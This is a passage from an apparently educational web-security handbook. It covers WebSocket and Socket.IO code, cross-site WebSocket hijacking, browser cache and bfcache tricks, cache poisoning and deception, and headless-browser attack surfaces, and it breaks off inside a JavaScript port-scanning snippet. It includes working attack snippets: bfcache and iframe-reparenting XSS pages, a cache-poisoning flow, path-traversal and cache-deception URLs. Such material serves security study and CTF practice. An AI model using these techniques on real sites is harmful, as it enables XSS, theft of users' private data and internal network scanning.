ws = new WebSocketClient('ws://localhost:8080')
console.log("Received:", await ws.recv())
ws.send("Hello, from JavaScript!")
console.log("Received:", await ws.recv())
ws.close()
```

#### WebSocket Client - Python

{% code title="Dependencies" %}

```sh
pip install websocket-client
```

{% endcode %}

<details>

<summary><code>WebSocketClient.py</code></summary>

```python
import websocket
import threading
import queue


class WebSocketClient:
    def __init__(self, url):
        self.url = url
        self.ws = websocket.WebSocketApp(
            url,
            on_open=self._on_open,
            on_message=self._on_message,
            on_close=self._on_close,
            on_error=self._on_error
        )
        self.recv_queue = queue.Queue()
        self.connected_event = threading.Event()
        self.thread = threading.Thread(target=self.ws.run_forever)
        self.thread.daemon = True

    def _on_open(self, ws):
        self.connected_event.set()

    def _on_message(self, ws, message):
        self.recv_queue.put(message)

    def _on_close(self, ws, code, msg):
        print(f"WebSocket closed: {code} - {msg}")

    def _on_error(self, ws, error):
        print(f"WebSocket error: {error}")

    def send(self, message):
        if isinstance(message, bytes):
            self.ws.send(message, websocket.ABNF.OPCODE_BINARY)
        else:
            self.ws.send(message)

    def recv(self, timeout=5):
        try:
            return self.recv_queue.get(timeout=timeout)
        except queue.Empty:
            raise TimeoutError("No message received in time.")

    def close(self):
        self.ws.close()
        self.thread.join(timeout=1)

    def __enter__(self):
        self.thread.start()
        if not self.connected_event.wait(timeout=5):
            raise TimeoutError("Could not connect to WebSocket server.")
        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        self.close()
```

</details>

```python
with WebSocketClient("ws://localhost:1337") as ws:
    print(f"Received: {ws.recv()!r}")
    ws.send("Hello from Python!")
    print(f"Received: {ws.recv()!r}")
```

***

#### SocketIO Server

{% embed url="<https://socket.io/docs/v4/server-api/>" %}
Documentation for `Socket.IO` library's API methods
{% endembed %}

{% code title="Dependencies" %}

```sh
npm install socket.io express
```

{% endcode %}

{% code title="server-socketio.js" %}

```javascript
const express = require('express');
const http = require('http');
const { Server } = require('socket.io');

const app = express();
const server = http.createServer(app);
const io = new Server(server);

io.on('connection', (socket) => {
  console.log('Client connected');
  
  // Emitting events
  socket.emit('event1', 'This is sent to the connecting socket only');
  io.emit('event2', 'This is sent to all connected sockets');
  socket.broadcast.emit('event3', 'This is sent to all sockets except the sender');
  
  // Rooms
  socket.join('room1');
  io.to('room1').emit('roomEvent', 'Message to room1');
  
  // Listening for events
  socket.on('clientEvent', (data) => {
    console.log('Received from client:', data);
  });

  socket.on('disconnect', () => {
    console.log('Client disconnected');
  });
});

const PORT = 1337;
server.listen(PORT, () => {
  console.log(`Server running on port ${PORT}`);
});
```

{% endcode %}

#### SocketIO Client - JavaScript

{% embed url="<https://socket.io/docs/v4/client-api/>" %}
Documentation for `Socket.IO-Client` library's API methods
{% endembed %}

<pre class="language-html" data-title="Importing (Browser)"><code class="lang-html"><strong>&#x3C;script src="https://cdn.socket.io/4.8.1/socket.io.js">&#x3C;/script>
</strong>&#x3C;script>
  ...
&#x3C;/script>
&#x3C;!-- or -->
<strong>&#x3C;script type="module">
</strong><strong>  import { io } from "https://cdn.socket.io/4.8.1/socket.io.esm.min.js";
</strong>  ...
&#x3C;/script>
</code></pre>

{% code title="Dependencies (NodeJS)" %}

```sh
npm install socket.io-client
```

{% endcode %}

{% code title="Importing (NodeJS)" %}

```javascript
import { io } from "socket.io-client";
// or
const { io } = require("socket.io-client");
```

{% endcode %}

<pre class="language-javascript"><code class="lang-javascript"><strong>const socket = io("http://localhost:1337");
</strong>
function recv(socket, event) {
    return new Promise((resolve) => {
        function handler(data) {
            socket.off(event, handler);
            resolve(data);
        }
        socket.on(event, handler);
    });
}

socket.on('connect', async () => {
    console.log('Connected to server');

<strong>    socket.on('someEvent', (data) => {
</strong>        console.log('Received from server:', data);
    });

<strong>    const listener = recv(socket, 'response');
</strong><strong>    socket.emit('clientEvent', 'Hello from client');
</strong>    const response = await listener;
    console.log('Response received:', response);

    socket.close();
});
socket.on('disconnect', () => {
    console.log('Disconnected from server');
});

</code></pre>

#### SocketIO Client - Python

{% embed url="<https://python-socketio.readthedocs.io/en/latest/client.html>" %}
Documentation for `python-socketio` client library
{% endembed %}

{% code title="Dependencies" %}

```sh
pip install "python-socketio[client]"
```

{% endcode %}

<pre class="language-python"><code class="lang-python">import socketio

with socketio.SimpleClient() as socket:
<strong>    socket.connect('http://localhost:1337')
</strong>    
<strong>    socket.emit('my message', {'foo': 'bar'})
</strong><strong>    event = socket.receive()
</strong>    print(f'received event: "{event[0]}" with arguments {event[1:]}')
    
<strong>    @socket.event
</strong><strong>    def message(data):
</strong><strong>        print('I received a message!')
</strong>    
    @socket.on('my message')
    def on_message(data):
        print('I received a message!')
</code></pre>

## Cross-Site WebSocket Hijacking

{% embed url="<https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking>" %}
Explanation of the CSWSH technique with labs
{% endembed %}

WebSocket connections can also be made cross-site, and if these are automatically authenticated by cookies, you can get into a dangerous scenario where an attacker's site can not only **send**, but **also receive messages**. This is because [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS) doesn't apply to WebSockets, you are always able to read incoming messages cross-origin.

Important for this to have any security impact is if the [Cross-Site Request Forgery (CSRF)](/web/client-side/cross-site-request-forgery-csrf#same-site) rules allow any site to send authentication cookies with requests. Because WebSockets are background requests, the `SameSite=` attribute needs to be `None` for Chromium, or unset for Firefox.\
Note that if you can gain control over a same-site origin like a subdomain or different port with XSS, you can even get `SameSite=Strict` cookies to be sent.

### Protections

Some common protections include:

* Checking the `Origin:` header matches a trusted value. Make sure this is no vulnerable prefix/suffix matching, or that dots in a regex match any character.
* Requiring the authentication token to be sent as a websocket message, not automatically in a cookie during the handshake. The attacker cannot then abuse any authentication because it needs to happen manually.


# Caching

Remember static content to resolve less requests by the backend

## # Related Pages

{% content-ref url="/pages/3EscTKnlrhX6a6bfhplc" %}
[Reverse Proxies](/web/server-side/reverse-proxies)
{% endcontent-ref %}

## Concepts

To save on bandwidth and respond faster, large websites often implement a caching proxy in front of their regular servers that have a simple task: remember static content and handle requests that don't need the backend. While sounding simple, it comes with a lot of questions, like what needs to be cached and to who?

<figure><img src="/files/TdDN32sstutzNAQhzeo2" alt=""><figcaption><p>Responses being cached after one user requests it (<a href="https://portswigger.net/web-security/web-cache-deception#web-caches">source</a>)</p></figcaption></figure>

There are a few concepts that all caches share, and are useful to understand. First of all, **Cache Rules**. These are the decisions the caching proxy makes to figure out *if* a request/response needs to be cached for future requests. Some dynamic APIs should never be cached, so you'll often see these target static resources like JS/CSS or images.

Then there are **Cache Keys** being the normalized versions of requests that find which requests should return equivalent responses, without actually asking the backend. These often include the path, query parameters, and potentially some headers. If two requests with the same cache key come in, the 1st will be resolved and the 2nd will be instantly returned from the cache of the 1st response.

### Is something cached?

By sending the same requests to an endpoint multiple times, there are some different ways to detect the effects of caching:

* Sometimes the response contains specific headers such as `X-Cache-Status: MISS` (meaning it wasn't stored before, but is now) or `CF-Cache-Status: HIT` (meaning it was stored and now returned from the cache). `BYPASS` often means it wasn't cached and instead requested from the backend.
* If the backend is noticeably *slow*, you may be able to measure when a resource responds quicker than normal because it's coming directly from the caching server.
* If you can *edit* the underlying resource (such as a profile image), request it, change your image and then quickly request it again to check if the change had an effect, or if it takes some more time because it is still cached.

While testing, it is common to use **cache busters** to explicitly *not* cache something, or cache it only with a specific identifier to avoid messing with real users. You can put the same random string into both of your testing requests, guaranteeing that it won't have been cached before by other users but maybe it will be now that you've requested it. This is often done with a `?cb=$RANDOM` query parameter.

## Browser Cache

### Disk Cache

Browsers will cache certain responses in the disk or memory cache. While testing, make sure to uncheck the <img src="/files/snKQ8AVvn77Oyhs1q92e" alt="" data-size="line"> box in the *Network* tab of your DevTools. To clear this cache, the easiest way is to clear it globally via `chrome://settings/clearBrowserData` (Chrome) or `about:preferences#privacy` (Firefox).

In the table of requests, you'll see <img src="/files/R0CjOlJ7TLeJriO5GrP9" alt="" data-size="line"> in place of the *Size* column if the response came from the cache. You may also see 304 Not Modified status codes for responses that are cached, but revalidated to ensure they haven't changed. Top-level navigations will always revalidate the cache, but `fetch()`es or loading resources can be retrieved directly from the cache with no request to the server.

The [`Cache-Control`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Cache-Control) header decides if and for how long a response will be cached, and how it is revalidated. The `Vary` header adds the specified request headers to the cache key. If no such headers are given, the browser will cache the response by default but revalidate it every time it is used (with the `If-Modified-Since` or `If-None-Match` header). If you need to get the cached version of a response for some reason without revalidating first, `fetch()` has a [`cache`](https://developer.mozilla.org/en-US/docs/Web/API/Request/cache) option that you can set to `force-cache`. This is used in [Cross-Site Request Forgery (CSRF)](/web/client-side/cross-site-request-forgery-csrf#origin-with-credentials-cache).

One edge case is [**Service Workers**](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers) which need to be registered with a specific JavaScript URL. These skip the cache by default, but using the `{ updateViaCache: 'all' }` option you can enable it. This may allow you to poison the cache client-side and then load a service worker from there for persistent XSS. See [writeups to this challenge](https://bugology.intigriti.io/intigriti-monthly-challenges/0325) for more details.

Another use for disk cache is the fact that the HTML will always stay the same, while **JavaScript code is re-executed**. If this fetches a payload dynamically, it can allow you to run a payload multiple times on one static DOM, even if during regular navigations it would be different every time. This could be useful in limited CSS Injection scenarios. See [this writeup](https://gist.github.com/arkark/5787676037003362131f30ca7c753627) for an example, and [#poisoning-top-level-navigation-with-fetch](#poisoning-top-level-navigation-with-fetch "mention") for how to perform a top-level navigation to a disk cached resource *without revalidating*.\
It may also be used for retrieving an earlier response with XSS that the user navigated away from, and cannot get back to due to corruption or a different cookie etc. [bi0sCTF 2024 - Image Gallery 1](https://blog.bi0s.in/2024/03/06/Web/ImageGallery1-bi0sCTF2024/#Image-gallery-1) is an example of this.

To protect against attacks involving caches such as XS-Leaks or Client-Side Cache Poisoning/Deception, they are separated by *eTLD+1* as specified in [Cache Partitioning](https://developer.chrome.com/blog/http-cache-partitioning#how_will_cache_partitioning_affect_chromes_http_cache). This means subdomains will share a cache, but a separate attacker's domain will not.\
There is some nuance to this. For full details on how cache keys are separated read the [Chromium source code](https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_cache.cc;l=727-788;drc=99249cf38aaf17aaed2443d2f8489595c982ac01;bpv=0;bpt=1):

<pre class="language-cpp" data-title="http_cache.cc"><code class="lang-cpp">const char HttpCache::kDoubleKeyPrefix[] = "_dk_";
const char HttpCache::kDoubleKeySeparator[] = " ";
const char HttpCache::kSubframeDocumentResourcePrefix[] = "s_";
const char HttpCache::kCrossSiteMainFrameNavigationPrefix[] = "cn_";

std::string HttpCache::GenerateCacheKey(...) {
  ...
  if (is_subframe_document_resource) {
<strong>    subframe_document_resource_prefix = <a data-footnote-ref href="#user-content-fn-1">kSubframeDocumentResourcePrefix</a>;
</strong>  }

  if (initiator.has_value() &#x26;&#x26; is_mainframe_navigation) {
    const bool is_initiator_cross_site = !net::SchemefulSite::IsSameSite(*initiator, url::Origin::Create(url));
    if (is_initiator_cross_site) {
<strong>      is_cross_site_main_frame_navigation_prefix = <a data-footnote-ref href="#user-content-fn-2">kCrossSiteMainFrameNavigationPrefix</a>;
</strong>    }
  }
  isolation_key = base::StrCat(
      {kDoubleKeyPrefix, subframe_document_resource_prefix,
       is_cross_site_main_frame_navigation_prefix,
<strong>       *<a data-footnote-ref href="#user-content-fn-3">network_isolation_key.ToCacheKeyString()</a>, kDoubleKeySeparator});
</strong>  ...
}
</code></pre>

### Back/forward (bfcache)

While the disk cache helps with speed, the browser's <img src="/files/OUtZ0DgfQcMBKLFwQNQY" alt="" data-size="line"> (Back and Forward) buttons should ideally keep the *state* of the webpage as well. This is what the Back/forward cache (or "bfcache") does, remembering pages you navigate through and their JavaScript heap. You can trigger this programmatically with [`history.back()`](https://developer.mozilla.org/en-US/docs/Web/API/History/back) or the more generic [`history.go(n)`](https://developer.mozilla.org/en-US/docs/Web/API/History/go).

{% embed url="<https://web.dev/articles/bfcache>" %}
Explaining the usefulness of bfcache and technical details/edge cases
{% endembed %}

To check if a page was loaded through bfcache, keep an eye on the *Applications* -> *Back/forward cache* section. While navigating this will either show "Not served from back/forward cache" (with a reason if you pressed the Back button) or "Successfully served from back/forward cache" when it was successful.

<figure><img src="/files/mnRdhp907cOSIjx9ZEKV" alt=""><figcaption><p>After pressing back, it successfully loaded from bfcache</p></figcaption></figure>

Restoring from this cache means all JavaScript and DOM state (also input values) will remain the same, allowing an attacker to attack this data with a `localStorage` XSS or anything that will be reloaded. In some more complex attacks it can be useful to be able to *clear* the bfcache, which is possible by simply overflowing the maximum of 6 navigations, and then going back with `history.go(-n)` to your target page. The following writeup explains this idea with great interactive visuals:

{% embed url="<https://adragos.ro/dice-ctf-2025-quals/#websafestnote>" %}
Explaining Local Storage HTML-Injection abuse using bfcache clearing
{% endembed %}

#### Cache uncacheable resources

The browser wants to cache as many resources as possible, but it can't always be certain that a resource hasn't been changed. There are many interconnected rules that decide this heuristically, see the following article for a detailed summary of what response headers matter:

{% embed url="<https://blog.huli.tw/2017/08/27/en/http-cache/>" %}
Explanation of the various browser cache heuristics
{% endembed %}

Some resources like ones without any special response headers, may be cached without an *age*. This would normally mean they are always first revalidated with headers like `If-Modified-Since` (from `Last-Modified`) and `If-None-Match` (from `Etag`), before being returned. You can recognize this by the **304 Not Modified** status code.

It will always be revalidated, which takes time. If for any reason you need to request to be instantaneous, such as in a Race Condition, bfcache can help out. The following writeup explains this idea:

{% embed url="<https://vitorfalcao.com/posts/intigriti-0525-writeup/#taming-the-bfcache>" %}
Caching a slow `fetch()` request with bfcache falling back on disk cache
{% endembed %}

Essentially, you can open your target in a window, it's resources will be loaded uncached. Then, navigate it to a page returning `<script>history.back()</script>`. This quickly goes back to the original URL, and tries to use bfcache. It's not eligible because a window reference exists, but trying its best to quickly craft the page, it falls back on *disk cache*. Even stale resources can be loaded straight from cache now, no revalidation happens!

As shown in the writeup, this can be very useful in abusing gadgets that rely on the DOM.\
If your target is iframeable the same attack flow works, without needing a click for `window.open()`:

{% code title="Using window\.open()" %}

```html
<script>
  onclick = () => {
    w = window.open("https://target.com/page-with-resources-you-want-loaded-quickly");
  
    const blob = new Blob(["<script>history.back()<\/script>"], { type: "text/html" })
    setTimeout(() => {
      w.location = URL.createObjectURL(blob);
    }, 3500);
  }
</script>
```

{% endcode %}

{% code title="Using <iframe>" %}

```html
<iframe src="https://target.com/page-with-resources-you-want-loaded-quickly"></iframe>
<script>
  const blob = new Blob(["<script>history.back()<\/script>"], { type: "text/html" });
  setTimeout(() => {
    frames[0].location = URL.createObjectURL(blob);
  }, 3500);
</script>
```

{% endcode %}

If you want to avoid the interaction required for `window.open()` and an iframe isn't possible, you may still be able to use a [`<meta http-equiv=refresh>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/meta#setting_a_page_redirect) tag to get the target back to your site, and then go back. It will normally trigger bfcache but if you want to avoid it and fall back to Disk Cache as in this example, another condition is its maximum of 6 entries. going as that with `history.go(-7)` after a bunch of extra redirects will bypass it.\
[Check this page for a description of all possible error reasons](https://developer.mozilla.org/en-US/docs/Web/API/Performance_API/Monitoring_bfcache_blocking_reasons#blocking_reasons) that you may be able to trigger.

#### Poisoning top-level navigation with `fetch()`

I previously stated that a top-level navigation will always first revalidate, and then either get the page from cache if it hasn't changed or get the new one. This is not entirely true, as there is actually another way to load a URL top-level, that is via bfcache. When pressing the back button (or triggering it via JavaScript), the nest page may be loaded from either one of three steps:

1. If it is stored in the Back/forward cache, return it directly from there
2. If it is stored in the disk cache, return it directly from there
3. Send a request to the server and return that response

It's hard to influence 1, but 2 can be poisoned by a `fetch()` call to store a cache entry on a URL with some special headers. If the response to this fetch is of type `text/html` and contains an XSS payload, the top-level navigation from the cache may trigger it even though the navigation shouldn't normally be able to send special extra headers or a request method such as `PUT`, `DELETE` or `PATCH`.

To skip option 1, there are some rules that make bfcache disallowed, like if the [window has an `opener`](https://web.dev/articles/bfcache?hl=en#avoid-window-opener). This can be achieved by first getting on an attacker's page, and then opening the URL you will later restore from cache. Then navigate to the URL that will poison the cache, and finally execute `history.back()`. Because it still has an opener reference to the attacker's page, the bfcache won't be used, but the disk cache from the fetch will.

{% code title="back.html" %}

```html
<script>
  const n = parseInt(new URLSearchParams(location.search).get("n"));
  history.go(-n);
</script>
```

{% endcode %}

<pre class="language-javascript"><code class="lang-javascript">const sleep = ms => new Promise(r => setTimeout(r, ms));
(async () => {
  // Put URL into history, may error for now
<strong>  w = window.open("https://example.com/page/to/be/poisoned");
</strong>  await sleep(1000);

  // Use a fetch() with special headers etc. to poison the above URL
<strong>  w.location = "https://example.com/poisoner?payload=&#x3C;script>...";
</strong>  await sleep(1000);
    
  // We can't call history.back() directly on a cross-origin window,
  // so navigate to our origin which will do history.go(-2)
<strong>  w.location = "/back.html?n=2"
</strong>})();
</code></pre>

{% hint style="warning" %}
**Note**: This technique no longer works cross-site, because of the recently added [`is-cross-site-main-frame-navigation`](https://issues.chromium.org/issues/398784714) bit. This separates navigations initiated by the attacker from fetches made by the target. However, if you are able to find a **client-side redirect gadget** that allows you to let the target navigate to your target URL by itself, you can do so and then `history.back()` into it to collide the cache keys once again.

Alternatively, a **null initiator** is also an option because then the check does not take place. See the Framed XSS challenge below for more details.
{% endhint %}

For examples of this check out the writeups of [SECCON 2022 - spanote](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote) and the [Intigriti March 2023 XSS Challenge](https://mizu.re/post/intigriti-march-2023-xss-challenge#-disk-cache-to-the-moon). More recently, [SECCON 2025 - Framed XSS](https://m0z.ie/research/2025-12-19-Seccon-CTF-2025-Writeups-Web/#webframed-xss) involved the same technique but in the latest version of Chrome, where `is-cross-site-main-frame-navigation` is added to the cache key.

### Iframe reparenting

{% embed url="<https://blog.huli.tw/2024/09/07/en/idek-ctf-2024-iframe/>" %}
Detailed explanation of a challenge involving *iframe reparenting* and similar concepts
{% endembed %}

[#back-forward-bfcache](#back-forward-bfcache "mention") talked about windows and tabs navigating through history, but iframes can do this too. Surprisingly, these are also stored as global history entries just like regular navigations. This means that if you click a link inside an iframe, and then one in its parent, going back once will send back the parent still has its 2nd content.

<figure><img src="/files/5eNxIPcKqLLQAJ53O8zs" alt=""><figcaption><p>Showcase of iframe keeping its content after going back (<a href="https://r.jtw.sh/poc.html?body=%3Ch1%3EParent%3C%2Fh1%3E%0D%0A%3Cdiv%3E%0D%0A%09%3Ciframe%0D%0A%09%09src%3D%22https%3A%2F%2Fr.jtw.sh%2Fpoc.html%3Fbody%3D%253Ch1%253EFirst%253C%252Fh1%253E%250D%250A%253Ca%2Bhref%253D%2522https%253A%252F%252Fr.jtw.sh%252Fpoc.html%253Fbody%253D%25253Ch2%25253ESecond%25253C%25252Fh2%25253E%2522%253EGo%2Bto%2Bsecond%253C%252Fa%253E%22%3E%3C%2Fiframe%3E%0D%0A%3C%2Fdiv%3E%0D%0A%3Ca+href%3D%22https%3A%2F%2Fr.jtw.sh%2Fpoc.html%3Fbody%3DNow%2Btry%2Bgoing%2Bback%22%3ENavigate+away%3C%2Fa%3E">source</a>)</p></figcaption></figure>

Now familiar with the bfcache, this behavior may not be surprising to you. It keeps the entire page's state, including iframe content so it can restore it when you go back.

The strange part, however, is that **this demo still works** if you have a reference to the page and **bfcache fails**, so it falls back to [#disk-cache](#disk-cache "mention"). Somehow the browser knows during the first back press to put the 2nd iframe content into the HTML retrieved from disk. This is known as *iframe reparenting*. The browser stored the position and content of each iframe so it knows where to place it in which navigation, trying its best to act the same as in non top-level navigations.

This causes problems when **JavaScript has altered the HTML** stored in disk cache, because when going back, this state isn't kept while the iframes still need to get their potentially navigated content. If the JavaScript added a `sandbox` attribute to the iframe, for example, this isn't kept when going back while a future `src` may be set.\
The following example showcases how this can go wrong, by loading an untrusted page in a sandbox that's applied after the fact:

<pre class="language-html" data-title="https://target.com"><code class="lang-html">&#x3C;body>
<strong>  &#x3C;iframe id="iframe" src="/?b=Initial content">&#x3C;/iframe>
</strong>&#x3C;/body>
&#x3C;script>
  setTimeout(() => {
<strong>    iframe.sandbox = "";  // Should be safe with fully-enabled sandbox
</strong><strong>    iframe.src = '/xss.html?b=&#x3C;script>alert(origin)&#x3C;\/script>';
</strong>  }, 2000);
&#x3C;/script>
</code></pre>

An attacker can get a reference to the above HTML, and after 2 seconds have passed the iframe's history entry has been added while the initial HTML is only stored in Disk Cache. Then the attacker navigates the window to a `history.back()` page, it loads the initial HTML with the updated XSS iframe content. This causes the XSS to be triggered:

{% code title="Attack" %}

```html
<iframe	src="https://target.com"></iframe>
<script>
  const blob = new Blob(["<script>history.back()<\/script>"], { type: "text/html" });
  setTimeout(() => {
    frames[0].location = URL.createObjectURL(blob);
  }, 3000);
</script>
```

{% endcode %}

Even if *cache is disabled*, the iframe reparenting feature *still works*. This feature works by remembering the order of iframes and their content. So if the original page had 1 iframe, and we navigate away then come back, and the newly returned response still has 1 iframe anywhere, the browser will attach the stored iframe content into that found iframe. Even if the rest of the page has changed.

Below is an example that shows going back and forth with a **changing** top-level page will keep the iframe's history as expected. While navigated away, you can even alter the PHP source code to move the iframe somewhere else on the page, and the moment you go back the browser will still be able to find it and put the "Second" content in it.

{% code title="Example" %}

```php
<?php
header("Cache-Control: no-store");  // Disable Disk Cache
?>
<script>
  window.addEventListener('unload', function() {});  // Disable bfcache
</script>
<h1>Parent</h1>
<p><?= random_int(0, 1000);  /* Notice the page content change */ ?></p>
<div>
  <iframe src="https://r.jtw.sh/poc.html?body=%3Ch1%3EFirst%3C%2Fh1%3E%0D%0A%3Ca+href%3D%22https%3A%2F%2Fr.jtw.sh%2Fpoc.html%3Fbody%3D%253Ch2%253ESecond%253C%252Fh2%253E%22%3EGo+to+second%3C%2Fa%3E"></iframe>
</div>
<a href="https://r.jtw.sh/poc.html?body=Now+try+going+back">Navigate away</a>
```

{% endcode %}

#### Policy containers

The `sandbox` attribute restricts the iframe, but is an attribute outside of the sandbox. For that reason it's not remembered during the navigation. Other security features like the [Content-Security-Policy (CSP)](/web/client-side/cross-site-scripting-xss/content-security-policy-csp) or [`Referrer-Policy:`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy) are actually remembered *with* the iframe's content, known as the [*policy container*](https://html.spec.whatwg.org/multipage/browsers.html#policy-container).

What this means for us is that the CSP which was active while the history entry was saved is the one that is restored. Even if the top-level HTML page has changed in the meantime. This can happen with [`<iframe srcdoc>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/iframe#srcdoc) because it *inherits the CSP* of its parent, no other type of iframe does this. After going back, the CSP may have changed on the top-level page, but the iframe will still restore its one from earlier that it inherited.

Check out [the original writeup](https://blog.huli.tw/2024/09/07/en/idek-ctf-2024-iframe/#putting-it-all-together) to learn how these facts could be combined by altering an HTML injection payload with/without a sandbox to achieve XSS in a special scenario.

## Cache Poisoning

When two requests normalize to the same cache key, they should always result in the same response. With tricky parsing and rules, however, this can sometimes not be the case. Take any request that a regular user's browser makes while browsing the website, such as a resource or page. If an attacker can make a request with the same cache key and cause a different response than expected to be cached, it can be disastrous for the user as it often makes the feature/application unusable.

That is the gist of Cache Poisoning, altering a request to return another cacheable response that users will encounter. It is explained in more detail with examples and labs below:

{% embed url="<https://portswigger.net/web-security/web-cache-poisoning>" %}
Learn about Cache Poisoning and practice interactive labs
{% endembed %}

The most important part in exploiting this is knowing the **cache key**. If you can alter your request enough to cause a different response while keeping the same cache key, it will be vulnerable. Note that your alternative response must still be cacheable, this is where cache rules come in. If it causes a 400 Bad Request or 404 response, it often will be denied from the cache and requested the 2nd time anyway. You must have a successful but different response.

This is often achieved with extra *request headers*. Some of these headers will cause the application to act differently, maybe return a redirect or a different response format. Specifically, NextJS has been [haunted](https://zhero-web-sec.github.io/research-and-things/nextjs-and-cache-poisoning-a-quest-for-the-black-hole#section-1) [by](https://zhero-web-sec.github.io/research-and-things/nextjs-and-cache-poisoning-a-quest-for-the-black-hole#section-2) [this](https://zhero-web-sec.github.io/research-and-things/nextjs-and-cache-poisoning-a-quest-for-the-black-hole#section-3) [many](https://zhero-web-sec.github.io/research-and-things/nextjs-cache-and-chains-the-stale-elixir) [times](https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware).

When working with source code, it is best to look for request attributes that cause conditions to happen, often about returning a different kind of response (eg. the `Accept:` header). In a blackbox scenario fuzzing may be a better option, trying weird variations of the request while keeping track of if it's still being cached under the same key or not.

Sometimes a very lax cache key can miss things like query parameters that are important for controlling a backend response. Another sneaky method is using the `#` in a request. While these are not normally sent over HTTP, they can be and the backend server may deal with it in a strange way:

```http
GET /static/main.js#/../../uploads/attacker.js HTTP/1.1
```

The above's cache key may be truncated to `/static/main.js`, while the backend interprets the path traversal and returns the uploaded malicious JavaScript file.

## Cache Deception

If cache is shared between users, private data should not end up in the cache. In Cache Deception, an attacker prepares a URL that a victim will visit to get cache some of their personal data with their authentication. The attacker can then request the same URL to get back the cached response *without* authentication.

{% embed url="<https://portswigger.net/web-security/web-cache-deception>" %}
Learn about Cache Deception and practice interactive labs
{% endembed %}

Routes like `/api/profile` are normally ruled out from the cache, while files under `/static` or with the `.js` extension will always be cached. If you can confuse the URL parsers of the caching proxy and backend such that it thinks your URL matches the cache rules, while it returns private user data, you have Cache Deception!

Nginx will resolve even encoded path traversals, so one example exploit would be sending the victim to:

<https://example.com/static/..%2Fapi%2Fprofile>

The caching proxy like Cloudflare may be configured to cache every path starting with `/static/`, while Nginx passes the decoded and resolved `/api/profile` to the backend, returning the currently logged-in user's private data. This will now be cached, and when the attacker visits the above URL shortly after the victim, they will receive their victims response.

For file extensions, it is common to try and find a character that truncates the path, such as `;.js` in Tomcat or `%00.js` when strings are null-terminated. If the path is matched including the query string, simply adding the extension after a question mark like `?.js` will do. When it is normalized an encoded one may do the trick(`%3F.js`).\
You may be able to see the pattern here, simply fuzz all potential characters and their encoded forms to try and find delimiters. Then exploit it as follows:

<https://example.com/api/profile;.js>

In some PHP configurations, it is also common to rewrite every suffix path of a `.php` file to the same endpoint, for example:

<https://example.com/api/profile.php/anything.js>

All of these tricks require the cache key to not include any unpredictable data, such as the session cookie. The cache needs to be shared between users so that an unauthenticated attacker can retrieve the stolen data.

[^1]: If loaded in iframe/embed/object, add "s" bit

[^2]: If initiator is cross-site and main frame navigation, add "cn" bit

[^3]: Add top frame site + current frame site


# Headless Browsers

Tricks for dealing with input into headless browsers on the server, using client-side methods

When dealing with a headless browser, by far the most commonly used variant is Chromium, but some tricks for Firefox have been included as well. Automation libraries have the choice between [#chrome-devtools-protocol-cdp](#chrome-devtools-protocol-cdp "mention") and the W3C-standardized [#chromedriver](#chromedriver "mention") to send actions to the process, and your options really depend on which is used:

* **Chrome DevTools Protocol**: [Puppeteer](https://pptr.dev/), [Playwright](https://playwright.dev/)
* **Chromedriver**: [Selenium](https://selenium-python.readthedocs.io/)

Most of the attacks covered for these instrumentation tools involve some malicious code in the browser interacting with its open port to perform sensitive actions a website normally isn't able to do.

***

When running inside Docker, you should pass the `$DISPLAY` variable into it to get GUI access if you need it. Specifically when using [WSL](https://learn.microsoft.com/en-us/windows/wsl/install) with Docker for Desktop, you should also mount a few volumes. You can consistently do this using the following configuration and removing any `--headless` flags:

<pre class="language-yaml" data-title="docker-compose.yml"><code class="lang-yaml">services:
  web:
    build: .
    ports:
      - "1337:1337"
<strong>    volumes:
</strong><strong>      - /mnt/wslg:/mnt/wslg
</strong><strong>      - /tmp/.X11-unix:/tmp/.X11-unix
</strong><strong>    environment:
</strong><strong>      - DISPLAY=${DISPLAY}
</strong></code></pre>

## Differences

When a browser is being automated, it often has no visual GUI that comes up with *headless* mode. In the background all the same rendering calculations still happen, so it can take screenshots and should work exactly the same as your regular browser. However, to make automation work better some small changes have been made to the security rules that can be exploited in certain scenarios.

***

Most importantly, all [features gated by User Activation](https://developer.mozilla.org/en-US/docs/Web/Security/User_activation) **don't need interaction**. This means functions like [**`window.open()`**](https://developer.mozilla.org/en-US/docs/Web/API/Window/open), which normally require a click, can be called how many times you want whenever you want. This is a very powerful primitive for attacks because cookies will be included in such top-level requests, and often the function is required for getting a reference to such pages.

Another more niche fact is that, strangely, [Cache Partitioning](https://developer.chrome.com/blog/http-cache-partitioning) is not enabled for automated browsers. This means the [Cross-Site Request Forgery (CSRF)](/web/client-side/cross-site-request-forgery-csrf#origin-with-credentials-cache) trick doesn't need an attacker-controlled subdomain, but instead can be achieved through any origin. It also may help make some attacks involving [Caching](/web/client-side/caching#browser-cache) easier because it can be triggered from the attacker's site.

Interacting with elements like through [`Page.click()`](https://pptr.dev/api/puppeteer.page.click) in Puppeteer work by locating the *position* of the selected element, and clicking on the page in the center of that element. That means they are also vulnerable to **clickjacking** just like us humans, by positioning an iframe above the targeted button, you can make it click something inside the iframe.\
This idea also extends to the **keyboard**, if it tries to fill out some input with a text, it will type the string out including **spaces**. If it's not selected an input at all, but instead focused a button on some other page while typing, the space press may actually *press the button*!

## Fetching

### SSRF

You can find payloads to include files or interesting information in [Server-Side Request Forgery (SSRF)](/web/server-side/server-side-request-forgery-ssrf#automated-browsers).

Apart from leaking data in the result, you can also interact with internal networks through the regular APIs like [`fetch()`](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API). A useful thing is to **scan for ports** using JavaScript, below is a simple implementation that tries to send an HTTP request to a large range of ports with throttling to keep the browser alive. You can configure the specific ports it scans (may be a lot, just takes a few seconds), and what to do with the results instead of logging to the console.

<pre class="language-javascript" data-title="Port Scanning"><code class="lang-javascript">function range(start, end) {
  return Array.apply(0, Array(end - start + 1)).map((element, index) => index + start);
}

<strong>const PORTS = range(1, 10000); // Can be a large range, or some specific subset
</strong><strong>const POOL_SIZE = 1000; // Parallel requests limit
